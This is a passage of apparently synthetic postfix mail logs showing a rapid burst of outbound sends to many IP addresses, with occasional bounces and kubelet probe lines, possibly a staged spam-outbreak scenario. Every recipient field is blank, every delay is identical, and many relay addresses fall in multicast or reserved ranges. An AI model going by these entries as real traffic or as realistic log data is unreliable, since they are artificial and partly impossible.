relay=95.52.77.170[95.52.77.170]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 710594DA) +Jul 02 12:05:15 mail-server-3 postfix/smtp[13771]: A8E04F32: to=, relay=54.94.202.81[54.94.202.81]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A8E04F32) +Jul 02 12:05:15 mail-server-3 postfix/smtp[17499]: 7D6CC2DE: to=, relay=68.83.196.0[68.83.196.0]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7D6CC2DE) +Jul 02 12:05:15 mail-server-3 postfix/smtp[11855]: 104DD565: to=, relay=75.170.217.210[75.170.217.210]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 104DD565) +Jul 02 12:05:20 mail-server-3 postfix/smtp[12618]: 6FFBD3C6: to=, relay=210.71.150.183[210.71.150.183]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6FFBD3C6) +Jul 02 12:05:20 mail-server-3 postfix/smtp[10717]: 31CA02FF: to=, relay=25.90.10.221[25.90.10.221]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 31CA02FF) +Jul 02 12:05:20 mail-server-3 postfix/smtp[19043]: 06831EB0: to=, relay=112.250.66.213[112.250.66.213]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 06831EB0) +Jul 02 12:05:20 mail-server-3 postfix/smtp[16302]: B6654E32: to=, relay=66.29.219.124[66.29.219.124]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B6654E32) +Jul 02 12:05:20 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:05:25 mail-server-3 postfix/smtp[15397]: EC648226: to=, relay=115.230.243.106[115.230.243.106]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EC648226) +Jul 02 12:05:25 mail-server-3 postfix/smtp[14679]: 02EB45CB: to=, relay=152.223.194.90[152.223.194.90]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 02EB45CB) +Jul 02 12:05:25 mail-server-3 postfix/smtp[15321]: 6776D81A: to=, relay=150.29.56.149[150.29.56.149]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6776D81A) +Jul 02 12:05:25 mail-server-3 postfix/smtp[17848]: D15D7B5D: to=, relay=206.250.64.74[206.250.64.74]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D15D7B5D) +Jul 02 12:05:25 mail-server-3 postfix/smtp[13769]: 39116FF8: to=, relay=33.24.165.227[33.24.165.227]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 39116FF8) +Jul 02 12:05:25 mail-server-3 postfix/smtp[16479]: 5FB8F8F1: to=, relay=41.158.211.201[41.158.211.201]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5FB8F8F1) +Jul 02 12:05:25 mail-server-3 postfix/smtp[14801]: 7A4C5B68: to=, relay=27.66.41.138[27.66.41.138]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7A4C5B68) +Jul 02 12:05:25 mail-server-3 postfix/bounce[26883]: E921BE80: sender non-delivery notification: E921BE80 +Jul 02 12:05:25 mail-server-3 postfix/smtp[26883]: E921BE80: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:05:30 mail-server-3 postfix/smtp[15331]: 93B82F8F: to=, relay=110.197.233.4[110.197.233.4]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 93B82F8F) +Jul 02 12:05:30 mail-server-3 postfix/smtp[15662]: 6FB241D5: to=, relay=95.10.85.51[95.10.85.51]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6FB241D5) +Jul 02 12:05:30 mail-server-3 postfix/smtp[14467]: 48621249: to=, relay=92.59.48.187[92.59.48.187]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 48621249) +Jul 02 12:05:30 mail-server-3 postfix/smtp[17989]: ABCF1EB7: to=, relay=173.255.201.162[173.255.201.162]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as ABCF1EB7) +Jul 02 12:05:30 mail-server-3 postfix/smtp[12189]: 5CB1CDF3: to=, relay=220.197.41.77[220.197.41.77]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5CB1CDF3) +Jul 02 12:05:30 mail-server-3 postfix/smtp[18974]: 39054BD0: to=, relay=29.29.67.55[29.29.67.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 39054BD0) +Jul 02 12:05:30 mail-server-3 postfix/smtp[15415]: DF297E11: to=, relay=178.91.77.14[178.91.77.14]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DF297E11) +Jul 02 12:05:30 mail-server-3 postfix/smtp[14855]: B570A1DA: to=, relay=170.139.138.34[170.139.138.34]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B570A1DA) +Jul 02 12:05:30 mail-server-3 postfix/bounce[28955]: 683C77ED: sender non-delivery notification: 683C77ED +Jul 02 12:05:30 mail-server-3 postfix/smtp[28955]: 683C77ED: to=, relay=mail.spam-source.com, delay=0.1, dsn=5.1.1, status=bounced (550 5.1.1 User unknown) +Jul 02 12:05:35 mail-server-3 postfix/smtp[17155]: 6A31D4E9: to=, relay=15.251.190.170[15.251.190.170]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6A31D4E9) +Jul 02 12:05:35 mail-server-3 postfix/smtp[11680]: 8718755E: to=, relay=39.207.180.246[39.207.180.246]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8718755E) +Jul 02 12:05:35 mail-server-3 postfix/smtp[16343]: 902E1086: to=, relay=101.235.176.144[101.235.176.144]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 902E1086) +Jul 02 12:05:35 mail-server-3 postfix/smtp[14427]: 527DAEC9: to=, relay=111.149.50.25[111.149.50.25]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 527DAEC9) +Jul 02 12:05:35 mail-server-3 postfix/smtp[14557]: DAF8CB2C: to=, relay=159.107.30.168[159.107.30.168]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as DAF8CB2C) +Jul 02 12:05:35 mail-server-3 postfix/smtp[15306]: 836E438C: to=, relay=83.68.224.246[83.68.224.246]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 836E438C) +Jul 02 12:05:35 mail-server-3 postfix/smtp[13180]: BBB77BCA: to=, relay=140.56.73.144[140.56.73.144]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BBB77BCA) +Jul 02 12:05:35 mail-server-3 postfix/smtp[19499]: 8ECB28CB: to=, relay=192.219.215.95[192.219.215.95]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8ECB28CB) +Jul 02 12:05:40 mail-server-3 postfix/smtp[15868]: 7C64FB83: to=, relay=62.34.253.222[62.34.253.222]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7C64FB83) +Jul 02 12:05:40 mail-server-3 postfix/smtp[19036]: 23A3C15B: to=, relay=237.242.251.78[237.242.251.78]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 23A3C15B) +Jul 02 12:05:40 mail-server-3 postfix/smtp[19681]: 5AFE98BB: to=, relay=20.182.167.60[20.182.167.60]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5AFE98BB) +Jul 02 12:05:40 mail-server-3 postfix/smtp[10053]: 1AA4B957: to=, relay=57.246.248.192[57.246.248.192]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1AA4B957) +Jul 02 12:05:45 mail-server-3 postfix/smtp[18413]: 3DFD31D3: to=, relay=240.112.7.25[240.112.7.25]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 3DFD31D3) +Jul 02 12:05:45 mail-server-3 postfix/smtp[10252]: 46650368: to=, relay=233.188.154.218[233.188.154.218]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 46650368) +Jul 02 12:05:45 mail-server-3 postfix/smtp[11203]: EDFFA745: to=, relay=160.21.79.140[160.21.79.140]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EDFFA745) +Jul 02 12:05:45 mail-server-3 postfix/smtp[10902]: 45AAA3F0: to=, relay=103.139.94.116[103.139.94.116]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 45AAA3F0) +Jul 02 12:05:45 mail-server-3 postfix/smtp[19150]: FF5968D7: to=, relay=59.96.64.203[59.96.64.203]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FF5968D7) +Jul 02 12:05:45 mail-server-3 postfix/smtp[15601]: EF1CC280: to=, relay=179.244.122.166[179.244.122.166]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EF1CC280) +Jul 02 12:05:45 mail-server-3 postfix/smtp[10143]: 1897018B: to=, relay=13.59.13.55[13.59.13.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 1897018B) +Jul 02 12:05:50 mail-server-3 postfix/smtp[10714]: 84D01A7D: to=, relay=189.105.171.216[189.105.171.216]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 84D01A7D) +Jul 02 12:05:50 mail-server-3 postfix/smtp[13886]: 305B81C9: to=, relay=194.218.53.84[194.218.53.84]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 305B81C9) +Jul 02 12:05:50 mail-server-3 postfix/smtp[17652]: B61B4535: to=, relay=68.59.38.71[68.59.38.71]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B61B4535) +Jul 02 12:05:50 mail-server-3 postfix/smtp[19236]: 3E6F12C9: to=, relay=44.38.167.150[44.38.167.150]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 3E6F12C9) +Jul 02 12:05:55 mail-server-3 postfix/smtp[15156]: B49CAB4F: to=, relay=201.62.197.138[201.62.197.138]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B49CAB4F) +Jul 02 12:05:55 mail-server-3 postfix/smtp[14100]: C71016D2: to=, relay=201.112.113.18[201.112.113.18]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as C71016D2) +Jul 02 12:05:55 mail-server-3 postfix/smtp[19799]: 7305026B: to=, relay=129.171.18.27[129.171.18.27]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7305026B) +Jul 02 12:05:55 mail-server-3 postfix/smtp[17536]: 0A187E72: to=, relay=78.225.148.232[78.225.148.232]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0A187E72) +Jul 02 12:05:55 mail-server-3 postfix/smtp[19822]: BDA2B365: to=, relay=148.153.194.112[148.153.194.112]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as BDA2B365) +Jul 02 12:05:55 mail-server-3 postfix/smtp[13342]: CA06FC61: to=, relay=129.95.247.119[129.95.247.119]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CA06FC61) +Jul 02 12:05:55 mail-server-3 postfix/smtp[16931]: 04D0F441: to=, relay=242.165.165.59[242.165.165.59]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 04D0F441) +Jul 02 12:06:00 mail-server-3 postfix/smtp[11563]: FE0B6268: to=, relay=210.133.184.234[210.133.184.234]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FE0B6268) +Jul 02 12:06:00 mail-server-3 postfix/smtp[10888]: 932C4F31: to=, relay=122.244.32.236[122.244.32.236]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 932C4F31) +Jul 02 12:06:00 mail-server-3 postfix/smtp[18904]: F42EF7B5: to=, relay=61.134.251.181[61.134.251.181]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F42EF7B5) +Jul 02 12:06:00 mail-server-3 postfix/smtp[10637]: AECDB021: to=, relay=88.91.178.14[88.91.178.14]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as AECDB021) +Jul 02 12:06:00 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:05 mail-server-3 postfix/smtp[17345]: F6F47976: to=, relay=69.23.66.220[69.23.66.220]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F6F47976) +Jul 02 12:06:05 mail-server-3 postfix/smtp[15022]: 134F6D71: to=, relay=103.49.120.43[103.49.120.43]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 134F6D71) +Jul 02 12:06:05 mail-server-3 postfix/smtp[18426]: 9BB351D7: to=, relay=4.35.162.205[4.35.162.205]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9BB351D7) +Jul 02 12:06:05 mail-server-3 postfix/smtp[14005]: 58D7FAD5: to=, relay=113.163.220.13[113.163.220.13]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 58D7FAD5) +Jul 02 12:06:05 mail-server-3 postfix/smtp[11450]: 9C94D58E: to=, relay=228.78.46.233[228.78.46.233]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9C94D58E) +Jul 02 12:06:05 mail-server-3 postfix/smtp[19441]: 73F46B59: to=, relay=153.242.142.176[153.242.142.176]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 73F46B59) +Jul 02 12:06:10 mail-server-3 postfix/smtp[15981]: D19F1D67: to=, relay=45.145.70.174[45.145.70.174]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D19F1D67) +Jul 02 12:06:10 mail-server-3 postfix/smtp[16348]: 665605BC: to=, relay=55.253.138.82[55.253.138.82]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 665605BC) +Jul 02 12:06:10 mail-server-3 postfix/smtp[14748]: A9A727FF: to=, relay=102.123.25.137[102.123.25.137]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as A9A727FF) +Jul 02 12:06:10 mail-server-3 postfix/smtp[10544]: 9B71A620: to=, relay=56.216.133.87[56.216.133.87]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9B71A620) +Jul 02 12:06:10 mail-server-3 postfix/smtp[14135]: FA7AA65F: to=, relay=200.210.150.79[200.210.150.79]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as FA7AA65F) +Jul 02 12:06:10 mail-server-3 postfix/smtp[11572]: D5B16213: to=, relay=72.43.49.82[72.43.49.82]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D5B16213) +Jul 02 12:06:15 mail-server-3 postfix/smtp[15183]: 8072ACC0: to=, relay=157.41.23.124[157.41.23.124]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8072ACC0) +Jul 02 12:06:15 mail-server-3 postfix/smtp[18376]: 575D0EBF: to=, relay=78.219.20.47[78.219.20.47]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 575D0EBF) +Jul 02 12:06:15 mail-server-3 postfix/smtp[16694]: 11B92EF3: to=, relay=254.132.26.80[254.132.26.80]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 11B92EF3) +Jul 02 12:06:15 mail-server-3 postfix/smtp[14739]: 213D9BBB: to=, relay=69.181.200.15[69.181.200.15]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 213D9BBB) +Jul 02 12:06:15 mail-server-3 postfix/smtp[15382]: 8DA22120: to=, relay=231.56.241.185[231.56.241.185]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8DA22120) +Jul 02 12:06:15 mail-server-3 postfix/smtp[12414]: 8EB96BC7: to=, relay=6.143.105.154[6.143.105.154]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 8EB96BC7) +Jul 02 12:06:15 mail-server-3 postfix/smtp[14740]: B93E9F39: to=, relay=156.104.204.45[156.104.204.45]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B93E9F39) +Jul 02 12:06:15 mail-server-3 postfix/smtp[13184]: 2E54063F: to=, relay=143.10.231.47[143.10.231.47]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2E54063F) +Jul 02 12:06:20 mail-server-3 postfix/smtp[11081]: 0AF65338: to=, relay=68.216.46.55[68.216.46.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0AF65338) +Jul 02 12:06:20 mail-server-3 postfix/smtp[10987]: 2E370081: to=, relay=208.166.192.219[208.166.192.219]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2E370081) +Jul 02 12:06:20 mail-server-3 postfix/smtp[11828]: 852C4BF0: to=, relay=109.150.192.168[109.150.192.168]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 852C4BF0) +Jul 02 12:06:20 mail-server-3 postfix/smtp[18228]: 6A4E1B49: to=, relay=160.251.8.133[160.251.8.133]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6A4E1B49) +Jul 02 12:06:20 mail-server-3 postfix/smtp[12778]: 664644B8: to=, relay=243.6.250.147[243.6.250.147]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 664644B8) +Jul 02 12:06:20 mail-server-3 postfix/smtp[14021]: F6D9F1F0: to=, relay=248.131.224.215[248.131.224.215]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F6D9F1F0) +Jul 02 12:06:20 mail-server-3 postfix/smtp[16310]: 37298257: to=, relay=225.158.132.137[225.158.132.137]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 37298257) +Jul 02 12:06:25 mail-server-3 postfix/smtp[10877]: 28A8B764: to=, relay=87.218.65.55[87.218.65.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 28A8B764) +Jul 02 12:06:25 mail-server-3 postfix/smtp[11532]: F4E98C3B: to=, relay=7.112.165.38[7.112.165.38]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as F4E98C3B) +Jul 02 12:06:25 mail-server-3 postfix/smtp[18594]: CFA963B6: to=, relay=67.114.173.194[67.114.173.194]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CFA963B6) +Jul 02 12:06:25 mail-server-3 postfix/smtp[18160]: 33D9731B: to=, relay=61.113.156.70[61.113.156.70]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 33D9731B) +Jul 02 12:06:25 mail-server-3 postfix/smtp[13806]: 02DF2307: to=, relay=221.115.186.150[221.115.186.150]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 02DF2307) +Jul 02 12:06:25 mail-server-3 postfix/smtp[10212]: 7992973A: to=, relay=193.160.219.195[193.160.219.195]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 7992973A) +Jul 02 12:06:30 mail-server-3 postfix/smtp[10228]: B52A4FB3: to=, relay=191.80.157.94[191.80.157.94]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B52A4FB3) +Jul 02 12:06:30 mail-server-3 postfix/smtp[14223]: 5D6F4987: to=, relay=67.111.180.141[67.111.180.141]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5D6F4987) +Jul 02 12:06:30 mail-server-3 postfix/smtp[12937]: EE19C9F9: to=, relay=11.76.142.218[11.76.142.218]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EE19C9F9) +Jul 02 12:06:30 mail-server-3 postfix/smtp[17824]: 94D9E932: to=, relay=55.176.55.132[55.176.55.132]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 94D9E932) +Jul 02 12:06:30 mail-server-3 postfix/smtp[10583]: E93377CA: to=, relay=235.165.142.67[235.165.142.67]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E93377CA) +Jul 02 12:06:30 mail-server-3 postfix/smtp[14650]: 0D0A1F96: to=, relay=80.70.83.55[80.70.83.55]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0D0A1F96) +Jul 02 12:06:30 mail-server-3 postfix/smtp[15321]: 43B46865: to=, relay=174.181.65.237[174.181.65.237]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 43B46865) +Jul 02 12:06:30 mail-server-3 postfix/smtp[18914]: 0D3FF277: to=, relay=239.73.219.105[239.73.219.105]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0D3FF277) +Jul 02 12:06:35 mail-server-3 postfix/smtp[17301]: 133A4724: to=, relay=165.169.148.144[165.169.148.144]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 133A4724) +Jul 02 12:06:35 mail-server-3 postfix/smtp[14531]: 81478E90: to=, relay=3.52.9.28[3.52.9.28]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 81478E90) +Jul 02 12:06:35 mail-server-3 postfix/smtp[17737]: 6E3D39E7: to=, relay=149.175.212.147[149.175.212.147]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 6E3D39E7) +Jul 02 12:06:35 mail-server-3 postfix/smtp[12281]: 20D35829: to=, relay=200.197.248.221[200.197.248.221]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 20D35829) +Jul 02 12:06:35 mail-server-3 postfix/smtp[14452]: E616C147: to=, relay=107.80.254.128[107.80.254.128]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E616C147) +Jul 02 12:06:35 mail-server-3 postfix/smtp[12923]: 5B18068F: to=, relay=131.21.220.236[131.21.220.236]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 5B18068F) +Jul 02 12:06:35 mail-server-3 postfix/smtp[17859]: B58DA1B1: to=, relay=213.218.198.222[213.218.198.222]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as B58DA1B1) +Jul 02 12:06:35 mail-server-3 postfix/smtp[12320]: E54BBD9C: to=, relay=183.175.5.50[183.175.5.50]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as E54BBD9C) +Jul 02 12:06:40 mail-server-3 postfix/smtp[17387]: 53211272: to=, relay=116.230.77.110[116.230.77.110]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 53211272) +Jul 02 12:06:40 mail-server-3 postfix/smtp[19897]: D7C34CB1: to=, relay=173.81.226.240[173.81.226.240]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as D7C34CB1) +Jul 02 12:06:40 mail-server-3 postfix/smtp[18445]: 0EC3F56A: to=, relay=77.149.61.65[77.149.61.65]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0EC3F56A) +Jul 02 12:06:40 mail-server-3 postfix/smtp[12202]: 244E0286: to=, relay=107.73.33.244[107.73.33.244]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 244E0286) +Jul 02 12:06:40 mail-server-3 postfix/smtp[12769]: 71537751: to=, relay=230.71.9.194[230.71.9.194]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 71537751) +Jul 02 12:06:40 mail-server-3 postfix/smtp[18772]: 9D09D78D: to=, relay=235.93.41.62[235.93.41.62]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9D09D78D) +Jul 02 12:06:40 mail-server-3 postfix/smtp[18753]: 0B2FD587: to=, relay=31.22.109.249[31.22.109.249]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 0B2FD587) +Jul 02 12:06:40 mail-server-3 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:06:45 mail-server-3 postfix/smtp[16246]: EF6328E8: to=, relay=43.234.157.59[43.234.157.59]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as EF6328E8) +Jul 02 12:06:45 mail-server-3 postfix/smtp[19890]: CE57DBC8: to=, relay=222.222.67.59[222.222.67.59]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as CE57DBC8) +Jul 02 12:06:45 mail-server-3 postfix/smtp[15187]: 2A59E454: to=, relay=230.187.188.30[230.187.188.30]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 2A59E454) +Jul 02 12:06:45 mail-server-3 postfix/smtp[16184]: 9CDE2825: to=, relay=189.199.69.6[189.199.69.6]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 9CDE2825) +Jul 02 12:06:45 mail-server-3 postfix/smtp[18358]: 31B38A5F: to=, relay=163.77.159.227[163.77.159.227]:25, delay=1.5, delays=0.02/0/0.5/1, dsn=2.0.0, status=sent (250 2.0.0 OK; Queued as 31B38A5F) 